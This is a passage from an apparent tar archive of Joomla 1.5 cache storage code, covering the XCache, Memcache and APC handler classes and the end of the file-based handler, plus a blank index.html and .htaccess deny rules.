			//This means that for some reason there's no expire file, remove it
			$this->remove($id, $group);
		}
	}

	/**
	 * Get a cache file path from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache file path
	 * @since	1.5
	 */
	function _getFilePath($id, $group)
	{
		$folder	= $group;
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language).'.php';
		$dir	= $this->_root.DS.$folder;

		// If the folder doesn't exist try to create it
		if (!is_dir($dir)) {

			// Make sure the index file is there
			$indexFile      = $dir . DS . 'index.html';
			@ mkdir($dir) && file_put_contents($indexFile, '<html><body bgcolor="#FFFFFF"></body></html>');
		}

		// Make sure the folder exists
		if (!is_dir($dir)) {
			return false;
		}
		return $dir.DS.$name;
	}
}
cms/joomla/cache1/storage/xcache.php000644 000000 000000 00000006543 11663435474 020001 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$id:$
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * XCache cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageXCache extends JCacheStorage
{
	/**
	* Constructor
	*
	* @access protected
	* @param array $options optional parameters
	*/
	function __construct( $options = array() )
	{
		parent::__construct($options);

		$config			=& JFactory::getConfig();
		$this->_hash	= $config->getValue('config.secret');
	}

	/**
	 * Get cached data by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$cache_id = $this->_getCacheId($id, $group);

		//check if id exists
		if( !xcache_isset( $cache_id ) ){
			return false;
		}

		return xcache_get($cache_id);
	}

	/**
	 * Store the data by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return xcache_set($cache_id, $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);

		if( !xcache_isset( $cache_id ) ){
			return true;
		}

		return xcache_unset($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return (extension_loaded('xcache'));
	}

	/**
	 * Get a cache_id string from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache_id string
	 * @since	1.5
	 */
	function _getCacheId($id, $group)
	{
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language);
		return 'cache_'.$group.'-'.$name;
	}
}
cms/joomla/cache1/storage/index.html000644 000000 000000 00000000054 11663435473 020020 0ustar00rootwheel000000 000000 <html><body bgcolor="#FFFFFF"></body></html>cms/joomla/cache1/storage/memcache.php000644 000000 000000 00000012172 11663435474 020303 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$Id: memcache.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Memcache cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageMemcache extends JCacheStorage
{
	/**
	 * Resource for the current memcached connection.
	 * @var resource
	 */
	var $_db;

	/**
	 * Use compression?
	 * @var int
	 */
	var $_compress = null;

	/**
	 * Use persistent connections
	 * @var boolean
	 */
	var $_persistent = false;

	/**
	 * Constructor
	 *
	 * @access protected
	 * @param array $options optional parameters
	 */
	function __construct( $options = array() )
	{
		if (!$this->test()) {
			return JError::raiseError(404, "The memcache extension is not available");
		}
		parent::__construct($options);

		$params =& JCacheStorageMemcache::getConfig();
		$this->_compress	= (isset($params['compression'])) ? $params['compression'] : 0;
		$this->_db =& JCacheStorageMemcache::getConnection();

		// Get the site hash
		$this->_hash = $params['hash'];
	}

	/**
	 * return memcache connection object
	 *
	 * @static
	 * @access private
	 * @return object memcache connection object
	 */
	function &getConnection() {
		static $db = null;
		if(is_null($db)) {
			$params =& JCacheStorageMemcache::getConfig();
			$persistent	= (isset($params['persistent'])) ? $params['persistent'] : false;
			// This will be an array of loveliness
			$servers	= (isset($params['servers'])) ? $params['servers'] : array();

			// Create the memcache connection
			$db = new Memcache;
			foreach($servers AS $server) {
				$db->addServer($server['host'], $server['port'], $persistent);
			}
		}
		return $db;
	}

	/**
	 * Return memcache related configuration
	 *
	 * @static
	 * @access private
	 * @return array options
	 */
	function &getConfig() {
		static $params = null;
		if(is_null($params)) {
			$config =& JFactory::getConfig();
			$params = $config->getValue('config.memcache_settings');
			if (!is_array($params)) {
				$params = unserialize(stripslashes($params));
			}

			if (!$params) {
				$params = array();
			}
			$params['hash'] = $config->getValue('config.secret');
		}
		return $params;
	}

	/**
	 * Get cached data from memcache by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return $this->_db->get($cache_id);
	}

	/**
	 * Store the data to memcache by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return $this->_db->set($cache_id, $data, $this->_compress, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return $this->_db->delete($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function gc()
	{
		return true;
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return (extension_loaded('memcache') && class_exists('Memcache'));
	}

	/**
	 * Get a cache_id string from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache_id string
	 * @since	1.5
	 */
	function _getCacheId($id, $group)
	{
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language);
		return 'cache_'.$group.'-'.$name;
	}
}
cms/joomla/cache1/storage/apc.php000644 000000 000000 00000007544 11663435473 017312 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$Id: apc.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * APC cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageApc extends JCacheStorage
{
	/**
	 * Constructor
	 *
	 * @access protected
	 * @param array $options optional parameters
	 */
	function __construct( $options = array() )
	{
		parent::__construct($options);

		$config			=& JFactory::getConfig();
		$this->_hash	= $config->getValue('config.secret');
	}

	/**
	 * Get cached data from APC by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$cache_id = $this->_getCacheId($id, $group);
		$this->_setExpire($cache_id);
		return apc_fetch($cache_id);
	}

	/**
	 * Store the data to APC by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);
		apc_store($cache_id.'_expire', time());
		return apc_store($cache_id, $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);
		apc_delete($cache_id.'_expire');
		return apc_delete($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return extension_loaded('apc');
	}

	/**
	 * Set expire time on each call since memcache sets it on cache creation.
	 *
	 * @access private
	 *
	 * @param string  $key   Cache key to expire.
	 * @param integer $lifetime  Lifetime of the data in seconds.
	 */
	function _setExpire($key)
	{
		$lifetime	= $this->_lifetime;
		$expire		= apc_fetch($key.'_expire');

		// set prune period
		if ($expire + $lifetime < time()) {
			apc_delete($key);
			apc_delete($key.'_expire');
		} else {
			apc_store($key.'_expire',  time());
		}
	}

	/**
	 * Get a cache_id string from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache_id string
	 * @since	1.5
	 */
	function _getCacheId($id, $group)
	{
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language);
		return 'cache_'.$group.'-'.$name;
	}
}

Order allow,deny Deny from all Order allow,deny Deny from all